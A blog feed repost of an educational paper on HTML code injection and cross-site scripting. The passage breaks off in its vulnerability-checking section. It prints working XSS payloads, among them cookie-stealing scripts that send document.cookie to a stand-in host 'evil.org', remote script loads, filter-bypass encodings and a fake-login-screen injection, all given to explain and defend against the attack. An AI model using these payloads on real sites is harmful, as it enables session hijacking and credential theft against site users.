height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-1725148391101817995?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/1725148391101817995/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=1725148391101817995' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/1725148391101817995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/1725148391101817995'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/adding-macro-scripting-language-support.html' title='Adding Macro Scripting language support to existing MFC Application'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-1593571497354641735</id><published>2008-10-27T20:30:00.000-07:00</published><updated>2008-10-27T20:31:43.192-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Paper: HTML Code Injection and Cross-Site Scripting</title><content type='html'>http://www.xssed.com/article/8/Paper_HTML_Code_Injection_and_Cross-Site_Scripting/&lt;br /&gt;Paper: HTML Code Injection and Cross-Site Scripting&lt;br /&gt;Written by Gunter Ollmann - Technicalinfo.net&lt;br /&gt;Monday, 21 May 2007&lt;br /&gt;&lt;br /&gt;Contents:&lt;br /&gt;&lt;br /&gt;    * Abstract&lt;br /&gt;    * Introduction&lt;br /&gt;    * Code Insertion&lt;br /&gt;    * Malicious Code&lt;br /&gt;    * Cross-Site Scripting&lt;br /&gt;    * Understanding Code Insertion&lt;br /&gt;          o Inline Scripting&lt;br /&gt;          o Forced Error Responses&lt;br /&gt;          o Non &lt;SCRIPT&gt; Events&lt;br /&gt;          o Javascript Entities&lt;br /&gt;          o Typical Payloads Formatting&lt;br /&gt;    * Bypassing Anti-CSS Filters&lt;br /&gt;    * Web Integration&lt;br /&gt;          o The Flash! Attack&lt;br /&gt;    * The Impact&lt;br /&gt;    * Vulnerability Checking&lt;br /&gt;    * Put It All Together&lt;br /&gt;    * Defending Against the Attack&lt;br /&gt;          o Solutions for Users&lt;br /&gt;          o Solutions for Developers and Organisations&lt;br /&gt;                + Limit Server Responses&lt;br /&gt;                + Enforce Response Lengths&lt;br /&gt;                + HTTP Referer&lt;br /&gt;                + Embedded Files and Objects&lt;br /&gt;                + HTTP POST not GET&lt;br /&gt;                + Cookie Inspection&lt;br /&gt;                + URL Session Identifier&lt;br /&gt;    * Character Sets&lt;br /&gt;    * Dangerous Content&lt;br /&gt;    * Encode output based upon input parameters&lt;br /&gt;          o Filter input parameters for special characters&lt;br /&gt;          o Filter output based upon input parameters for special characters&lt;br /&gt;    * References&lt;br /&gt;&lt;br /&gt;Abstract&lt;br /&gt;&lt;br /&gt;As web-based applications have become more sophisticated, the types of vulnerabilities are capable of exploiting has rapidly increased. A particular class of attacks commonly referred to as “code insertion” and often “Cross-Site Scripting” has become increasingly popular. Unfortunately, the number of applications vulnerable to these attacks is staggering, and the varieties of ways attackers are finding to successfully exploit them is on the increase. Analysis of many sites has indicated that not only are the majority of sites vulnerable, but they are vulnerable to many different methods and much of their content is affected.&lt;br /&gt;Introduction&lt;br /&gt;&lt;br /&gt;Web servers delivering dynamic content to Internet clients constitute an integral component of most organisations online service offerings. The ability to tune content and respond to an individual client request represents standard functionality for any successful site. Unfortunately, due to poorly developed application code and data processing systems, the majority of these successful sites are vulnerable to attacks that focus upon the way HTML content is generated and interpreted by client browsers. Attackers are often able to embed malicious HTML-based content within client web requests. With sufficient forethought and analysis, attackers can exploit these flaws by embedding scripting elements within the returned content without the knowledge of the sites visitor.&lt;br /&gt;Although the potential dangers have been known for several years now, the recent successes and improved understanding of cross-site scripting attacks has increased the importance of correctly handing user input within dynamically generated web content. High profile sites have already been shown to be susceptible to cross-site scripting attack. Future attacks are likely to become more sophisticated and, through automation and exploitation of client browser vulnerabilities, many times more devastating.&lt;br /&gt;This document aims to educate those responsible for the management and development of commercial online services by providing the information necessary to understand the significance of the threat, and provide advice on securing applications against this type of attack.&lt;br /&gt;Code Insertion&lt;br /&gt;&lt;br /&gt;The success of this type of attack hinges upon the functionality of the client browser. In HTML, to distinguish displayable text from the interpreted markup language, some characters are treated specially. One of the most common special characters used to define elements within the markup language is the “&lt;“ character, and is typically used to indicate the beginning of an HTML tag. These tags can either affect the formatting of the page or induce a program that the client browser executes (e.g. the &lt;SCRIPT&gt; tag introduces a JavaScript program).&lt;br /&gt;As most web browsers have the ability to interpret scripts embedded within HTML content enabled by default, should an attacker successfully inject script content, it will likely be executed within context of the delivery (e.g. website, HTML help, etc.) by the end user. Such scripts may be written in any number of scripting languages, provided that the client host can interpret the code. Scripting tags that are most often used to embed malicious content include &lt;SCRIPT&gt;, &lt;OBJECT&gt;, &lt;APPLET&gt; and &lt;EMBED&gt;.&lt;br /&gt;While this document largely focuses upon the threat presented through the injection of malicious scripting code, other tags may be inserted and abused by an attacker. Consider the &lt;FORM&gt; tag – by inserting the appropriate HTML tag information, an attacker could trick visitors to the site into revealing sensitive information by modifying the behaviour of the existing form for instance. Other HTML tags may be inserted to alter the appearance and behaviour of a page (e.g. alteration of an organisations online annual accounts or presidents statement?).&lt;br /&gt;It is important to understand the HTML tags that are most commonly used to carry out code insertion tags. The following table details the most important attributes of these tags. However, it is important to note that alternative “in-line” scripting elements may be used and interpreted by the current generation of web browsers, such as javascript:alert('executing script').&lt;br /&gt;HTML Tag 	Description&lt;br /&gt;&lt;SCRIPT&gt; 	Adds a script that is to be used in the document.&lt;br /&gt;Attributes:&lt;br /&gt;&lt;br /&gt;    * type = Specifies the language of the script. Its value must be a media type (e.g. text/javascript). This attribute is required by the HTML 4.0 specification and is a recommended replacement for the “language” attribute.&lt;br /&gt;    * language = Identifies the language of the script, such as JavaScript or VBScript.&lt;br /&gt;    * src = Specifies the URL of an outside file containing the script to be loaded and run with the document. (Netscape only)&lt;br /&gt;&lt;br /&gt;Supported by: Netscape, IE 3+, HTML 4, Opera 3+&lt;br /&gt;&lt;OBJECT&gt; 	Places an object (such as an applet, media file, etc.) on a document. The tag often contains information for retrieving ActiveX controls that IE uses to display the object.&lt;br /&gt;Attributes:&lt;br /&gt;&lt;br /&gt;    * classid = Identifies the class identifier of the object.&lt;br /&gt;    * codebase = Identifies the URL of the object’s codebase.&lt;br /&gt;    * codetype = Specifies the media type of the code. Examples of code types include audio/basic, text/html, and image/gif. (IE and HTML 4.0 only)&lt;br /&gt;    * data = Specifies the URL of the data used for the object.&lt;br /&gt;    * name = Specifies the name of the object to be referenced by scripts on the page.&lt;br /&gt;    * standby = Specifies the message to display while the object loads.&lt;br /&gt;    * type = Specifies the media type for the data.&lt;br /&gt;    * usemap = Specifies the imagemap URL to use with the object.&lt;br /&gt;&lt;br /&gt;Supported by: Netscape, IE, HTML 4&lt;br /&gt;&lt;APPLET&gt; 	Used to place a Java applet on a document. It is depreciated in the HTML 4.0 specification in favour of &lt;object&gt; tag.&lt;br /&gt;Attributes:&lt;br /&gt;&lt;br /&gt;    * code = Specifies the class name of the code to be executed (required).&lt;br /&gt;    * codebase = The URL from which the code is retrieved.&lt;br /&gt;    * name = Names the applet for reference elsewhere on the page.&lt;br /&gt;&lt;br /&gt;Supported by: Netscape, IE 3+, HTML 4&lt;br /&gt;&lt;EMBED&gt; 	Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the &lt;object&gt; tag.&lt;br /&gt;Attributes:&lt;br /&gt;&lt;br /&gt;    * hidden = Hides the media file or player from view when set to yes.&lt;br /&gt;    * name = Specifies the name for the embedded object for later reference within a script.&lt;br /&gt;    * pluginspage = Specifies the URL for information on installing the appropriate plug-in.&lt;br /&gt;    * src = Provides the URL to the file or object to be placed on the document. (Netscape 4+ and IE 4+ only)&lt;br /&gt;    * code = Specifies the class name of the Java code to be executed. (IE only)&lt;br /&gt;    * codebase = Specifies the base URL for the application. (IE only)&lt;br /&gt;    * pluginurl = Specifies a source for installing the appropriate plug-in for the media file. (Netscape only)&lt;br /&gt;    * type = Specifies the MIME type of the plug-in needed to run the file. (Netscape only)&lt;br /&gt;&lt;br /&gt;Supported by: Netscape, IE 3+, Opera 3+&lt;br /&gt;&lt;FORM&gt; 	Indicates the beginning and end of a form.&lt;br /&gt;Attributes:&lt;br /&gt;&lt;br /&gt;    * action = Specifies the URL of the application that will process the form.&lt;br /&gt;    * enctype = Specifies how the values for the form controls are encoded when they are submitted to the server.&lt;br /&gt;    * method = Specifies which HTTP method will be used to submit the form data.&lt;br /&gt;    * target = Specifies a target window for the results of the form submission to be loaded ( _blank, _top, _parent, and _self).&lt;br /&gt;&lt;br /&gt;Supported by: All&lt;br /&gt;Malicious Code&lt;br /&gt;&lt;br /&gt;An embedded code attack is heavily dependant upon the delivery mechanism. Thus the delivery method often dictates the audience the script will potentially affect.&lt;br /&gt;It is interesting to note that such attacks have been around since before the Internet and HTML. Back in the days of dial-up Bulletin Boards Systems (BBS), the problem was site visitors encoding their messages in coloured ASCII and later, the use of vector drawing languages permitted users to redesign pages themselves. Thus many sites hosting discussion groups with user interfaces learnt along time ago to rigorously control the content that be could submitted.&lt;br /&gt;An early problem for web-based discussion groups was the over-use and unintended misuse of standard HTML tags. For instance, early message boards merely took the user submitted text from a standard POST form. This data was then added to the discussion page, without any further processing. Users often included text formatting tags to bold, italicise or colour their text – making a greater visual impact to their message. Unfortunately, it was not uncommon for someone to forget to provide a closing format tag, resulting in the unintentional effect of altering every following message on the page. Now consider the implications of a user embedding the following two code snippets in their posting and what the implications would be to everyone viewing the message.&lt;br /&gt;&lt;br /&gt;Hello World! &lt;SCRIPT&gt;malicious code&lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;Hello World! &lt;EMBED SRC="http://www.paedophile.com/movies/rape.mov"&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately, attackers are finding ever more ingenious methods of encoding their embedded attacks, and consequently many more sites are vulnerable.&lt;br /&gt;Of particular importance is the abuse of trust. Consider a trusted site with a poorly coded search engine. An attacker may be able to embed their malicious code within a hyperlink to the site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site sends a page back to the browser including the value of criteria, which consequently forces the execution of code from the evil attackers’ server. For example;&lt;br /&gt;&lt;br /&gt;&lt;A HREF="http://trusted.org/search.cgi?criteria=&lt;SCRIPT SRC='http://evil.org/badkama.js'&gt;&lt;/SCRIPT&gt;"&gt; Go to trusted.org&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;In the attack above, one source is inserting code into pages sent by another source.&lt;br /&gt;&lt;br /&gt;It should be noted that this attack:&lt;br /&gt;• disguises the link as a link to http://trusted.org,&lt;br /&gt;• can be easily included in an HTML email message,&lt;br /&gt;• does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove the exploit code at anytime.&lt;br /&gt;This class of vulnerability is popularly referred to as cross-site scripting (CSS or sometimes XSS).&lt;br /&gt;Cross Site Scripting&lt;br /&gt;&lt;br /&gt;A cross-site scripting vulnerability is caused by the failure of an web based application to validate user supplied input before returning it to the client system. “Cross-Site” refers to the security restrictions that the client browser usually places on data (i.e. cookies, dynamic content attributes, etc.) associated with a web site. By causing the victim’s browser to execute injected code under the same permissions as the web application domain, an attacker can bypass the traditional Document Object Model (DOM) security restrictions which can result not only in cookie theft but account hijacking, changing of web application account settings, spreading of a webmail worm, etc.&lt;br /&gt;Note that the access that an intruder has to the Document Object Model (DOM) is dependent on the security architecture of the language chosen by the attacker. Specifically, Java applets do not provide the attacker with any access beyond the DOM and are restricted to what is commonly referred to as a sandbox.&lt;br /&gt;The most common web components that fall victim to CSS/XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesn’t necessarily have to click on a link; CSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags.&lt;br /&gt;The most popular CSS/XSS attack (and devastating) is the harvesting of authentication cookies and session management tokens. With this information, it is often a trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process. Unfortunately, the mechanism of the attack is very simple and can be easily automated. A detailed paper by iDefence goes into great detail explaining the process, but can be quickly summarised as follows:&lt;br /&gt;&lt;br /&gt;   1. The attacker investigates an interesting site that normal users must authenticate to gain access to, and that tracks the authenticated user through the use of cookies or session ID’s&lt;br /&gt;   2. The attacker finds a CSS vulnerable page on the site, for instance http://trusted.org/ account.asp.&lt;br /&gt;   3. Using a little social engineering, the attacker creates a special link to the site and embeds it in an HTML email that he sends to a long list of potential victims.&lt;br /&gt;   4. Embedded within the special link are some coding elements specially designed to transmit a copy of the victims cookie back to the attacker. For instance: &lt;img src="http://trusted.org/account.asp?ak=&lt;script&gt;document.location .replace('http://evil.org/steal.cgi?'+document.cookie);&lt;/script&gt;"&gt;&lt;br /&gt;   5. Unknown to the victim, the attacker has now received a copy of their cookie information.&lt;br /&gt;&lt;br /&gt;The attacker now visits the web site and, by substituting his cookie information with that of the victims, is now perceived to be the victim by the server application.&lt;br /&gt;&lt;br /&gt;Note that Cross-site scripting is commonly referred to as CSS and/or XSS.&lt;br /&gt;Understanding Code Insertion&lt;br /&gt;&lt;br /&gt;To date, security professions have discovered an ever increasing number of methods for potentially embedding code within poorly configured web applications. The following are some of the more common methods for doing so.&lt;br /&gt;Inline Scripting&lt;br /&gt;&lt;br /&gt;http://trusted.org/search.cgi?criteria=&lt;script&gt;code&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;http://trusted.org/search.cgi?val=&lt;SCRIPT SRC='http://evil.org/badkama.js'&gt; &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;http://trusted.org/COM2.IMG%20src= "Javascript:alert(document.domain)"&lt;br /&gt;Forced Error Responses&lt;br /&gt;&lt;br /&gt;http://trusted.org/&lt;script&gt;code&lt;/script&gt;&lt;br /&gt;This insertion facet usually occurs due to poor error handling by the web server or application component. The application fails to find the requested page and reports an error which unfortunately includes the unprocessed script data.&lt;br /&gt;&lt;br /&gt;http://trusted.org/search.cgi?blahblahblahblahblah&lt;script&gt;code&lt;/script&gt;&lt;br /&gt;If a Java application such as a servlet fails to handle an error gracefully, and allows stack traces to be sent to the users browser, an attacker can construct a URL that will throw an exception and add his malicious script to the end of the request.&lt;br /&gt;&lt;br /&gt;http://trusted.og/servlet/ org.apache.catalina.servlets.WebdavStatus/&lt;script&gt;code&lt;/script&gt;&lt;br /&gt;In the example above, when the Tomcat servlet is called with the training illegitimate request, an error page is served containing the offending text verbatim.&lt;br /&gt;Non &lt;SCRIPT&gt; Events&lt;br /&gt;&lt;br /&gt;" [event]='code'&lt;br /&gt;In many cases it may be possible for an attacker to insert an exploit string, with the above syntax, into a HTML tag that should have been like:&lt;br /&gt;&lt;br /&gt;&lt;A HREF="exploit string"&gt;Go&lt;/A&gt;&lt;br /&gt;resulting in:&lt;br /&gt;&lt;A HREF="" [event]='code'"&gt;Go&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;b onMouseOver="self.location.href='http://evil.org/'"&gt;bolded text&lt;/b&gt;&lt;br /&gt;As the client cursor moves over the bolded text, an intrinsic event occurs and the JavaScript code is executed.&lt;br /&gt;JavaScript Entities&lt;br /&gt;&lt;br /&gt;&lt;img src="&amp;{alert('CSS Vulnerable')};"&gt;&lt;br /&gt;The special character “&amp;” is sometimes interpreted as a new JavaScript code segment (entity).&lt;br /&gt;Typical Payloads Formatting&lt;br /&gt;&lt;br /&gt;&lt;img src = "malicious.js"&gt;&lt;br /&gt;&lt;br /&gt;&lt;script&gt;alert('hacked')&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe = "malicious.js"&gt;&lt;br /&gt;&lt;br /&gt;&lt;script&gt;document.write('&lt;img src="http://evil.org/'+document.cookie+'") &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="javascript:…"&gt;click-me&lt;/a&gt;&lt;br /&gt;Insertion Example&lt;br /&gt;Dynamic URL Generation&lt;br /&gt;&lt;br /&gt;Consider an application built for running on Microsoft’s Internet Information Server (IIS) web server platform. Dynamic content is delivered through IIS’s Active Server Pages (ASP).&lt;br /&gt;Within the sample page, a dynamically built HTML tag for refining search parameters is constructed as follows:&lt;br /&gt;&lt;A HREF="http://trusted.org/search_main.asp? searchstring=SomeString"&gt;click-me&lt;/A&gt;&lt;br /&gt;and the ASP code required to generate a further query based upon this submitted information is:&lt;br /&gt;&lt;br /&gt;&lt;%&lt;br /&gt;var BaserUrl = "http://trusted.org/search2.asp?&lt;br /&gt;searchagain=";Response.Write("&lt;a href=\"" + BaseUrl&lt;br /&gt;+ Request.QueryString("SearchString") + "\"&gt;click-me&lt;/a&gt;" )&lt;br /&gt;%&gt;&lt;br /&gt;&lt;br /&gt;If the attacker was to replace the “SomeString” with their own code, as indicated next:&lt;br /&gt;&lt;a href="http://trusted.org/search_main.asp?&lt;br /&gt;SearchString=%22+onmouoseover%3D%27ClientForm%&lt;br /&gt;2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FData%&lt;br /&gt;3D%22+%2B+ClientForm%2EPersonalData%3BClientForm%&lt;br /&gt;2Esubmit%3B%27"&gt;FooBar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The likely result found in the dynamically generated ASP page will be:&lt;br /&gt;&lt;A HREF="http://trusted.org/search2.asp?&lt;br /&gt;searchagain="" onmouoseover='ClientForm.&lt;br /&gt;action="evil.org/get.asp?Data=" +&lt;br /&gt;ClientForm.PersonalData;ClientForm.&lt;br /&gt;submit;'"&gt;click-me&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;In this case, the attacker has added to the HTML page code, and used the DOM of the HTML page to redirect data in some form to the attacker’s web site.&lt;br /&gt;Bypassing Anti-CSS Filters&lt;br /&gt;&lt;br /&gt;A key function of any application filtering process will be the removal of possible dangerous special characters. However, in many circumstances it may be difficult to filter a large range of these characters due to the applications unique requirements.&lt;br /&gt;Corporate application developers must carefully evaluate how their code will perform with a variety of attack strings. In addition, they should fully understand the different methods that special characters can be encoded.&lt;br /&gt;One of the most popular alternative character representations is HTML escaped encoding, sometimes mistakenly referred to as Unicode encoding. In this system, the HEX value of the ASCII character is prefixed with the “%” character.&lt;br /&gt;Char 	; 	/ 	? 	: 	@ 	= 	&amp; 	&lt; 	&gt; 	“ 	#&lt;br /&gt;Code 	%3b 	%2f 	%3f 	%3a 	%40 	%3d 	%26 	%3c 	%3e 	%22 	%23&lt;br /&gt;  	  	  	  	  	  	  	  	  	  	  	 &lt;br /&gt;Char 	{ 	} 	| 	\ 	^ 	~ 	[ 	] 	` 	% 	‘&lt;br /&gt;Code 	%7b 	%7d 	%7c 	%5c 	%5e 	%7e 	%5b 	%5d 	%60 	%25 	%27&lt;br /&gt;&lt;br /&gt;To better understand the processes behind bypassing Anti-CSS filtering mechanisms, a series of detailed examples are provided below.&lt;br /&gt;Inserting Malicious Code&lt;br /&gt;Simple Filtering of “&lt;“ and “&gt;“&lt;br /&gt;Many applications that implement some kind of content filtering will typically filter out the “&lt;“ and “&gt;“ characters at the client-side. At first glance, this looks like an effective way of ensuring &lt;script&gt; type HTML tags are not possible. Unfortunately, not only client-side code easy to bypass, in many circumstances it can be bypassed using a mix of alternative character representations and other special characters.&lt;br /&gt;Consider a routine that removes the “&lt;“ and “&gt;“ special characters:&lt;br /&gt;document.write(cleanSearchString('&lt;&gt;'));&lt;br /&gt;&lt;br /&gt;The attacker now uses an alternative coding for the filtered characters, “\x3c” and “\x3e” respectively, and initialises their code with “’) +” to escape out of the routine.&lt;br /&gt;') + '\x3cscript src=http://evil.org/malicious.js\x3e\x3c/script\x3e'&lt;br /&gt;&lt;br /&gt;Commenting out malicious code&lt;br /&gt;Consider an application that filters content on behalf of it clients by causing any scripting content to be “safely” commented out. For instance, &lt;script&gt;code&lt;/script&gt; is filtered by the application to become:&lt;br /&gt;&lt;COMMENT&gt;&lt;br /&gt;&lt;!--&lt;br /&gt;code (NOT PARSED BY FILTER)&lt;br /&gt;//--&gt;&lt;br /&gt;&lt;/COMMENT&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately, it is a simple task to bypass the filter. This is accomplished by including script code that will close the &lt;comment&gt; filter process. For example, the attacker can send the following code:&lt;br /&gt;&lt;script&gt;&lt;br /&gt;- --&gt;&lt;br /&gt;&lt;/COMMENT&gt;&lt;br /&gt;&lt;img src="http://none" onerror="alert(document.cookie);window.open( http://evil.org/fakeloginscreen.jsp); "&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;After processing by the filter, the following code is embedded in the returned document:&lt;br /&gt;&lt;COMMENT&gt;&lt;br /&gt;&lt;!--&lt;br /&gt;- --&gt;&lt;br /&gt;&lt;/COMMENT&gt;&lt;br /&gt;&lt;img src="http://none" onerror="alert(document.cookie);window.open(http://evil.org/ fakeloginscreen.jsp);"&gt;&lt;br /&gt;&lt;/COMMENT&gt;&lt;br /&gt;&lt;br /&gt;This particular attack was originally designed to bypass the security filtering processes of a large web-mail provider, and would have been embedded in HTML email content. Users viewing the email would automatically be prompted with a fake login screen, making for an easy method of harvesting user names and passwords.&lt;br /&gt;&lt;br /&gt;Separate Window Handling&lt;br /&gt;A popular method of handling potentially dangerous URL information is to force the URL to be opened in a new browser window. This then causes and malicious code to be executed in the context of a different DOM, using the ‘target=“_blank”’ addition to the HTML &lt;HREF&gt; tag.&lt;br /&gt;Unfortunately, in many online email applications it is possible to bypass after analysing the “harmless” link supplied by the site.&lt;br /&gt;Consider a site that parses the content,&lt;br /&gt;&lt;a href="javascript:…"&gt;click-me&lt;/a&gt;&lt;br /&gt;and, after processing, becomes:&lt;br /&gt;&lt;a href="javascript:…" target="_blank"&gt;click-me&lt;/a&gt;&lt;br /&gt;Causing the URL to be opened in a new window.&lt;br /&gt;&lt;br /&gt;However, if the attacker constructs his HREF as follows,&lt;br /&gt;&lt;a href="javascript:..." foo="bar&gt;click-me&lt;/a&gt;&lt;br /&gt;it will be interpreted as:&lt;br /&gt;&lt;a href="javascript:..." foo="bar target="_blank"&gt;click-me&lt;/a&gt;&lt;br /&gt;causing the code to be executed in the same page, under the same DOM.&lt;br /&gt;&lt;br /&gt;Escaped JavaScript Entities&lt;br /&gt;In cases where almost all special characters have are filtered from user supplied strings, attackers must encode the entire attack string.&lt;br /&gt;Consider the following URL:&lt;br /&gt;http://trusted.org/search.cgi?query=%26%7balert%28%27EVIL %27%29%7d%3b&amp;apropos=pos2&lt;br /&gt;&lt;br /&gt;The “%26%7balert%28%27EVIL%27%29%7d%3b” resolves to &amp;{alert('EVIL')}; causing in this instance an unexpected JavaScript alert window to popup, with the text “EVIL”.&lt;br /&gt;Web Integration&lt;br /&gt;&lt;br /&gt;As client web browsers have evolved, they have incorporated an increasingly diverse range of functions. At the same time, many common desktop applications have extended their functionality to replicate or incorporate the functionality of these same browsers. While the security flaw may be HTML injection, and more specifically CSS, the avenues available for a malicious user or attacker to initiate the attack are becoming ever broader. As is already evident, a popular “personalised” delivery mechanism has now become HTML email. Unfortunately, the delivery methods are becoming so diverse that no “single” security solution is available to prevent the attack. Consider the significance of the following delivery mechanisms.&lt;br /&gt;The Flash! Attack&lt;br /&gt;&lt;br /&gt;Flash! is a popular application for displaying animated visual information. Is has it’s own development language (ActiveScript) for creating sophisticated interactive menus, animated movies and games. The most popular web browsers often install the interpreter for these files by default and, due to the large number of sites that use the technology; many people will install the interpreter even if it wasn’t originally available with their web browser.&lt;br /&gt;ActiveScript has an internal function called getURL(). This function is used for redirecting the client browser to another page. Normally the parameter supplied to the function would be a URL. However, due to integration features between the Flash! interpreter and the web browser, it is possible to insert scripting code that would be successfully interpreted by the client web browser.&lt;br /&gt;&lt;br /&gt;For instance, instead of:&lt;br /&gt;getURL("http://www.technicalinfo.net")&lt;br /&gt;&lt;br /&gt;It is possible to specify scripting code:&lt;br /&gt;getURL("javascript:alert(document.cookie)")&lt;br /&gt;&lt;br /&gt;Thus, it is possible to embed potentially dangerous scripting elements within a common file format. The real significance of this threat is that it potentially bypasses many corporate content inspection systems (particularly those that filter out HTML &lt;script&gt; type tags) and local security web browser settings.&lt;br /&gt;For an attack to be successful, the dangerous Flash! file (typically terminating in a “.swf” extension) must be embedded within HTML data for viewing by remote clients. Normally this occurs with the use of the &lt;EMBED&gt; or &lt;OBJECT&gt; tags, for instance:&lt;br /&gt;&lt;br /&gt;&lt;EMBED&lt;br /&gt;src="http://evil.org/badflash.swf" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?&lt;br /&gt;P1_Prod_Version=ShockwaveFlash"&lt;br /&gt;type="application/x-shockwave-flash"&lt;br /&gt;width="100"&lt;br /&gt;height="100"&gt;&lt;br /&gt;&lt;/EMBED&gt;&lt;br /&gt;The Impact&lt;br /&gt;&lt;br /&gt;The impact of malicious code insertion is often difficult to quantify and will change as new functionality or interactions are incorporated into both web servers and client browsers. Already, users may unintentionally execute scripts written by an attacker when they follow untrusted links in web pages, mail or instant messages, or any other application capable of displaying HTML content (e.g. Microsoft Help). For this reason, a series of examples best illustrate the diversity and impact of potential threats.&lt;br /&gt;&lt;br /&gt;Consider the following examples:&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;      An attacker often has access to the document retrieved since the malicious scripts are executed in a context that appears to have originated from the trusted site. With the appropriate insertions, a script could be used to read fields in a form provided by the trusted server and send this data back to the attacker.&lt;br /&gt;    *&lt;br /&gt;      An attacker may be able to embed script code that has additional interactions with the legitimate web server without alerting the victim. For example, the attacker could develop an exploit that posted data to a different page on the legitimate web server.&lt;br /&gt;    *&lt;br /&gt;      An attacker may be able to poison the sites persistent cookies, thus modifying the cookie content and causing malicious code to be executed each time the user visits the trusted site. The malicious code is stored as a field variable within the cookie, and executed each time the site dynamically generates page content without the correct processing.&lt;br /&gt;    *&lt;br /&gt;      An attacker may be able to cause a “hidden window” to start on the client machine and us this to key-log all browser interaction of the victim. Should the victim later visit sites requiring authentication, the attacker could harvest this information.&lt;br /&gt;    *&lt;br /&gt;      CSS type attacks can occur over SSL-encrypted connections. The victim, accessing a trusted host over HTTPS, may still execute an attackers code unintentionally. If the attacker references document components on a remote host, the victims client browser may generate a warning message about the insecure connection. However, the attacker can circumvent this warning by simply referencing content on a SSL-capable web server.&lt;br /&gt;    *&lt;br /&gt;      An attacker may construct the malicious code to reference internal resources. Thus, an attacker may gain unauthorised access to an Intranet web server. Only one page on one web server in a domain is required to compromise the entire domain.&lt;br /&gt;    *&lt;br /&gt;      An attacker may be able to bypass policies that prevent the victim browser from executing scripts. For example, Internet Explorer security “zones” may prevent the execution of scripts from untrusted Internet hosts. An attacker may embed their code within the content of a trusted internal host.&lt;br /&gt;    *&lt;br /&gt;      An attacker may use a social engineering aspect to the attack. Consider an application that requires clients to complete a form to set up their account. An attacker may be able to insert malicious code into their application data. A quick phone call to the corporate help-desk asking for advice on their account may cause the execution of the malicious code on the help-desk system.&lt;br /&gt;    *&lt;br /&gt;      Even if the victims’ web browser does not support scripting, an attacker may still be able to alter the content of the page – affecting its appearance, behaviour or normal operation.&lt;br /&gt;&lt;br /&gt;To date the most popular application content to be targeted by attackers has been web pages that:&lt;br /&gt;&lt;br /&gt;    * Return results based upon user input to search engines,&lt;br /&gt;    * Process credit card information,&lt;br /&gt;    * Store and user supplied content in databases and cookies for later retrieval.&lt;br /&gt;&lt;br /&gt;Vulnerability Checking&lt;br /&gt;&lt;br /&gt;Finding out if your application is vulnerable to a code insertion attack is often very simple. The key lies in the analysis of the dynamically generated client-side HTML content. The following process has been frequently used in the past.&lt;br /&gt;&lt;br /&gt;   1. For each visible input field (these may be located in an HTML form, or represented in the URL as “variable=“), try the most obvious scripting formats:&lt;br /&gt;      &lt;script&gt;alert('CSS Vulnerable')&lt;/script&gt;&lt;br /&gt;      &lt;img csstest=javascript:alert('CSS Vulnerable')&gt;&lt;br /&gt;      &amp;{alert('CSS Vulnerable')};&lt;br /&gt;      In any case, should an alert message popup with the text “CSS Vulnerable”, the application component is vulnerable - specifically the input field just checked.&lt;br /&gt;   2. If, either of the above scripting checks cause the HTML page to display incorrectly, the application component may still be vulnerable.&lt;br /&gt;   3. For each visible variable, submit/substitute the following string:&lt;br /&gt;      '';!--"&lt;CSS_Check&gt;=&amp;{()} (Note that the string begins with two single-quotes)&lt;br /&gt;      On the resultant page, search for the string “&lt;CSS_Check&gt;“. If you discover “&lt;CS_Check&gt;“, it is quite probable that the application component is vulnerable. However, if the word CSS_Check is no longer enclosed in something similar to %ltCSS_Check%gt, then it may not be vulnerable. If input is displayed literally at ANY point in the document, it can be used to divert the flow of execution to an attacker-supplied payload.&lt;br /&gt;   4. Having located the word CSS_Check, verify what (if any) other characters have be altered or filtered from the original string “'';!--"&lt;CSS_Check&gt;= &amp;{()}”. Depending upon the filtered characters, the application component may still be vulnerable.&lt;br /&gt;   5. Looking closely at the returned HTML code, identify the specific string an attacker would need to break out of the current HTML tag or code sequence. If these characters exist, unfiltered, in responses to the test string of part 3 (above) – then there is a high probability that the application component is vulnerable.&lt;br /&gt;   6. Moving on from the obvious fields, repeat the process for all the hidden fields not normally editable at the client end. The best method of doing this is through the use of a free local host proxy server such as Achilles by DigiZen Security group and WebProxy by @stake. The proxy servers allow the editing of HTTP requests as they leave the client application, before being finally 